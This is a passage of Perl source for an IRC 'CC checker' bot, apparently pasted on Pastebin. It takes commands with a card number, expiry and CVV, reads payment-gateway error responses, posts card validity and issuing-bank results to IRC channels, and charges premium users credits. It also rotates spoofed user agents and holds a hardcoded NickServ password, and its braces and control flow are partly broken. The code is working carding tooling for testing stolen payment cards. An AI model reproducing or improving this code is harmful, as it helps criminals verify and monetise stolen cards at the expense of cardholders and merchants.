  1259. my $bank = 0;
  1260. my $nuova = substr($card,0,6);
  1261. foreach my $url (@results){
  1262. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1263. $bank = 1;
  1264. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1265. }
  1266. }
  1267. if($bank == 0){
  1268. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1269. addlog("bankinfo.txt", "BIN : $nuova");
  1270. }
  1271. ############################################################################################################
  1272. }elsif ($allo =~/The credit card number is invalid./){
  1273. open FILE,"banklist.txt";
  1274. my @results = <FILE>;
  1275. close FILE;
  1276. my $bank = 0;
  1277. my $nuova = substr($card,0,6);
  1278. foreach my $url (@results){
  1279. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1280. $bank = 1;
  1281. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1282. }
  1283. }
  1284. if($bank == 0){
  1285. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1286. addlog("bankinfo.txt", "BIN : $nuova");
  1287. }
  1288. ############################################################################################################
  1289. }elsif ($allo =~/Invalid card number/){
  1290. open FILE,"banklist.txt";
  1291. my @results = <FILE>;
  1292. close FILE;
  1293. my $bank = 0;
  1294. my $nuova = substr($card,0,6);
  1295. foreach my $url (@results){
  1296. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1297. $bank = 1;
  1298. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1299. }
  1300. }
  1301. if($bank == 0){
  1302. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1303. addlog("bankinfo.txt", "BIN : $nuova");
  1304. }
  1305. ############################################################################################################
  1306. }elsif ($allo =~/A security limit has been reached for the account./){
  1307. open FILE,"banklist.txt";
  1308. my @results = <FILE>;
  1309. close FILE;
  1310. my $bank = 0;
  1311. my $nuova = substr($card,0,6);
  1312. foreach my $url (@results){
  1313. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1314. $bank = 1;
  1315. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14A security limit has been reached for the account.14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1316. }
  1317. }
  1318. if($bank == 0){
  1319. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14A security limit has been reached for the account.14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1320. addlog("bankinfo.txt", "BIN : $nuova");
  1321. }
  1322. ############################################################################################################
  1323. print "card $variable!";
  1324. }
  1325. }
  1326. }elsif ($allo =~/Credit card expiration date is invalid./){
  1327. open FILE,"banklist.txt";
  1328. my @results = <FILE>;
  1329. close FILE;
  1330. my $bank = 0;
  1331. my $nuova = substr($card,0,6);
  1332. foreach my $url (@results){
  1333. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1334. $bank = 1;
  1335. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1336. }
  1337. }
  1338. if($bank == 0){
  1339. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 14CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1340. addlog("bankinfo.txt", "BIN : $nuova");
  1341. }
  1342. ############# FORMATING #############
  1343. }elsif ($msg{'what'} =~ /\!cc/){
  1344. if($auto == 1){
  1345. &respond_to_privmsg(\%msg,"$nick 3Usage :7 !cc <ccnum> <mmyy> <cvv> <set amount>");
  1346. }
  1347. }
  1348.  
  1349. ################################################################################################################################################
  1350. ################################################################################################################################################
  1351.  
  1352. if($msg{'what'} =~ /\!bank\s+(\d{6})/ && $auto == 1){
  1353. my ($card) = ($1);
  1354. my $database = "banklist.txt";
  1355. open FILE,"$database" or die "Errore nell'apertura: $!";
  1356. my @results=<FILE>;
  1357. close FILE;
  1358. my $bank = 0;
  1359. my $nuova = substr($card,0,6);
  1360. foreach my $url (@results){
  1361. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1362. $bank = 1;
  1363. my ( $test, $tests ) = ( 3, 15 );
  1364. my $num = int( rand( $test - $tests + 1 ) ) + $tests;
  1365. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 3 $nuova 0:$num $19,1 14,14 15,15 ");
  1366. }
  1367. }
  1368. if($bank == 0){
  1369. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 3 $nuova 0,1: 14Could Not Retreive Bank Name!9,1 14,14 15,15 ");
  1370. }
  1371. }
  1372.  
  1373. ################################################################################################################################################
  1374. ################################################################################################################################################
  1375.  
  1376. if($msg{'what'} =~ /\!state\s+(.*)/ && $auto == 1){
  1377. my ($states) = ($1);
  1378.  
  1379. my $database = "state.txt";
  1380. open FILE,"$database" or die "Errore nell'apertura: $!";
  1381. my @results=<FILE>;
  1382. close FILE;
  1383. my $wow = $1;
  1384. my $statex = substr($states,0,2);
  1385. foreach my $url (@results){
  1386. if($url =~ /$statex\|(.*)/){
  1387. $states = 1;
  1388. &respond_to_privmsg(\%msg,"7,1 $statex 0:10 $1 ");
  1389. }
  1390. }
  1391. if($states == 0){
  1392. &respond_to_privmsg(\%msg,"7,1 $nick 0:14,1 State Not Found! 4[15Checking For USA & CANADA4] ");
  1393. }
  1394. }
  1395.  
  1396. ################################################################################################################################################
  1397.  
  1398. sub chkcredit()
  1399. {
  1400. my $creditfile = "credit.txt";
  1401. my $nick = $_[0];
  1402. my $open = open(CR,"<",$creditfile);
  1403. if(!$open){
  1404. #$irc_socket->write("privmsg $channel :Can't Open Credit Database\r\n");
  1405. goto stop;
  1406. return(3);
  1407. }else{
  1408. my @lines = <CR>;
  1409. foreach $line (@lines){
  1410. if($line =~ m/$nick/){
  1411. return(2);
  1412. } # End if $line
  1413. } # Endforeach
  1414. } # End else
  1415. return(1);
  1416. stop:
  1417. AddLog($creditfile,"");
  1418.  
  1419. }
  1420.  
  1421. sub addcredit(){
  1422. my $nick = $_[0];
  1423. my $credit = $_[1];
  1424. my $data = $nick."|".$credit;
  1425. open(FILE,'>>',$creditfile);
  1426. print FILE $data . "\n";
  1427. close(FILE);
  1428. }
  1429.  
  1430. ################################################################################################################################################
  1431.  
  1432. }
  1433. sub ctrl_admin()
  1434. {
  1435. my $data = $_[0];
  1436. foreach my $admin ( @admin )
  1437. {
  1438. if($admin eq $data->{'from'})
  1439. {
  1440. return(0);
  1441. }
  1442. }
  1443. &respond_to_privmsg($data,"");
  1444. return(-1);
  1445. }
  1446. }
  1447.  
  1448. ################################################################################################################################################
  1449.  
  1450. sub ctrl_premium()
  1451. {
  1452. my $data = $_[0];
  1453. foreach my $premium ( @premium )
  1454. {
  1455. if($premium eq $data->{'from'})
  1456. {
  1457. return(0);
  1458. goto stop;
  1459. }
  1460. }
  1461. &respond_to_privmsg($data,"");
  1462. return(-1);
  1463. stop:
  1464.  
  1465. ################################################################################################################################################
  1466.  
  1467. sub respond_to_privmsg()
  1468. {
  1469. my ($data,$m) = ($_[0],$_[1]);
  1470. if($data->{'to'} =~ /#/)
  1471. {
  1472. &privmsg($data->{'to'},$m);
  1473. }
  1474. else
  1475. {
  1476. #&privmsg($data->{'from'},$m);
  1477. }
  1478. }
  1479.  
  1480. ################################################################################################################################################
  1481.  
  1482. sub privmsg()
  1483. {
  1484. my($nick,$send) = @_;
  1485. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  1486. }
  1487.  
  1488. ################################################################################################################################################
  1489.  
  1490. sub join_all()
  1491. {
  1492. foreach my $chan ( @chans )
  1493. {
  1494. $irc_socket->write("JOIN ".$chan."\r\n");
  1495. }
  1496. }
  1497.  
  1498. ################################################################################################################################################
  1499.  
  1500. sub get_msg()
  1501. {
  1502. my $line = $_[0];
  1503. my %data;
  1504. if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
  1505. {
  1506. $irc_socket->write("PRIVMSG :SPAMMER => $1 => $3 Messange: $4\r\n");
  1507. $irc_socket->write("NICKSERV IDENTIFY jh3b03t123\r\n"); #change it
  1508. $irc_socket->write("JOIN @chans\r\n");
  1509. $data{'from'} = $1;
  1510. $data{'to'} = $3;
  1511. $data{'what'} = $4;
  1512. }
  1513. return(%data);
  1514. }
  1515.  
  1516. ################################################################################################################################################
  1517.  
  1518. sub http_request()
  1519. {
  1520. my($site,$request,$ua,$resp,$cnt);
  1521. $site = $_[0];
  1522. $site =~ s/[\r\n]//g;
  1523. $request = HTTP::Request->new(GET => $site);
  1524. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  1525. $ua->timeout($timeout);
  1526. $resp = $ua->request($request);
  1527. $cnt = $resp->content();
  1528. return($cnt);
  1529. }
  1530.  
  1531. ################################################################################################################################################
  1532.  
  1533. sub get_user_agents()
  1534. {
  1535. my @us_ag = (
  1536. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  1537. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  1538. "Opera/8.5 (X11; Linux i686; U; cs)",
  1539. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  1540. );
  1541. return(@us_ag);
  1542. }
  1543.  
  1544. ################################################################################################################################################
  1545.  
  1546. sub get_all_host()
  1547. {
  1548. my $site = $_[0];
  1549. my @dirs = ();
  1550. my @ret = ();
  1551. my $tmp = "";
  1552. $site =~ s/http:\/\///g;
  1553. $site =~ s/[\r\n]//g;
  1554. $site =~ s/\/\///g;
  1555. if($site !~ /\/$/)
  1556. {
  1557. $site .= "/";
  1558. }
  1559.  
  1560. @dirs = split(/\//,$site);
  1561. $tmp = $dirs[0] . "/";
  1562. push(@ret,$tmp);
  1563.  
  1564. for($i = 1; $i < scalar(@dirs); $i++)
  1565. {
  1566. $tmp .= $dirs[$i] . "/";
  1567. push(@ret,$tmp);
  1568. }
  1569.  
  1570. return(@ret);
  1571. }
  1572.  
  1573. ################################################################################################################################################
  1574.  
  1575. sub urlencode()
  1576. {
  1577. my $str = $_[0];
  1578. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  1579. return $str;
  1580. }
  1581.  
  1582. ################################################################################################################################################
  1583.  
  1584. sub unique()
  1585. {
  1586. my @unici = ();
  1587. my %visti = ();
  1588. foreach my $elemento (@_) {
  1589. $elemento =~ s/\/+/\//g;
  1590. next if $visti{$elemento}++;
  1591. push @unici, $elemento;
  1592. }
  1593. return @unici;
  1594. }
  1595.  
  1596. ################################################################################################################################################
  1597.  
  1598. sub canghecmd()
  1599. {
  1600. my $n = $_[0];
  1601. push(@botcmd,$n);
  1602. }
  1603.  
  1604. ################################################################################################################################################
  1605.  
  1606. sub read_all_file_array()
  1607. {
  1608. my $file = $_[0];
  1609. my @ret = ();
  1610.  
  1611. open(FILE,'<',$file);
  1612. while($a = <FILE>)
  1613. {
  1614. $a =~ s/[\r\n]//g;
  1615. push(@ret,$a);
  1616. }
  1617. close(FILE);
  1618.  
  1619. return(@ret);
  1620. }
  1621.  
  1622. ################################################################################################################################################
  1623.  
  1624. sub write_to_file_array()
  1625. {
  1626. my ($file,$data,$scal) = @_;
  1627. for($i = 0; $i < $scal; $i++)
  1628. {
  1629. &write_to_file($file,$data->[$i]);
  1630. }
  1631. }
  1632.  
  1633. ################################################################################################################################################
  1634.  
  1635. sub write_to_file()
  1636. {
  1637. my($file,$data) = @_;
  1638. open(FILE,'>>',$file);
  1639. print FILE $data . "\n";
  1640. close(FILE);
  1641. }
  1642. }
  1643.  
  1644. ################################################################################################################################################
  1645.  
  1646. sub addlog {
  1647. $fileName = $_[0];
  1648. $text = $_[1];
  1649. if(open(MYFILE, ">>$fileName")) {
  1650. print MYFILE "$text\n";
  1651. close (MYFILE);
  1652. }
  1653. }
  1654.  
  1655. ###############################################################################################################################################
  1656.  
  1657. sub flood_check
  1658. {
  1659. my $fc = shift; # max flood events count
  1660. my $fp = shift; # max flood time period for $fc events
  1661. my $en = shift; # event name (key) which identifies flood check data
  1662.  
  1663. $FLOOD{ $en } ||= []; # make empty flood array for this event name
  1664. my $ar = $FLOOD{ $en }; # get array ref for event's flood array
  1665. my $ec = @$ar; # events count in the flood array
  1666.  
  1667. if( $ec >= $fc )
  1668. {
  1669. # flood array has enough events to do real flood check
  1670. my $ot = $$ar[0]; # oldest event timestamp in the flood array
  1671. my $tp = time() - $ot; # time period between current and oldest event
  1672.  
  1673. # now calculate time in seconds until next allowed event
  1674. my $wait = int( ( $ot + ( $ec * $fp / $fc ) ) - time() );
  1675. if( $wait > 0 )
  1676. {
  1677. # positive number of seconds means flood in progress
  1678. # event should be rejected or postponed
  1679. return($wait);
  1680. }
  1681. # negative or 0 seconds means that event should be accepted
  1682. # oldest event is removed from the flood array
  1683. shift @$ar;
  1684. }
  1685. # flood array is not full or oldest event is already removed
  1686. # so current event has to be added
  1687. push @$ar, time();
  1688. # event is ok
  1689. return($wait);
  1690. }
  1691.  
  1692. ###############################################################################################################################################
  1693.  
  1694. sub read_file {
  1695. my ($filename) = @_;
  1696.  
  1697. open my $in, '<:encoding(UTF-8)', $filename or die "Could not open '$filename' for reading $!";
  1698. local $/ = undef;
  1699. my $all = <$in>;
  1700. close $in;
  1701.  
  1702. return $all;
  1703. }
  1704.  
  1705. sub write_file {
  1706. my ($filename, $content) = @_;
  1707.  
  1708. open my $out, '>:encoding(UTF-8)', $filename or die "Could not open '$filename' for writing $!";;
  1709. print $out $content;
  1710. close $out;
  1711.  
  1712. return;
  1713. }
  1714.  
  1715. ###############################################################################################################################################
  1716.  
  1717. sub random_str {
  1718. my $length_of_randomstring = shift;
  1719. my @chars = ('a'..'z','A'..'Z','2'..'15','_');
  1720. my $random_string;
  1721. foreach (1..$length_of_randomstring) {
  1722. $random_string .= $chars[rand @chars];
  1723. }
  1724. return $random_string;
  1725. }
  1726.  
  1727. ###############################################################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!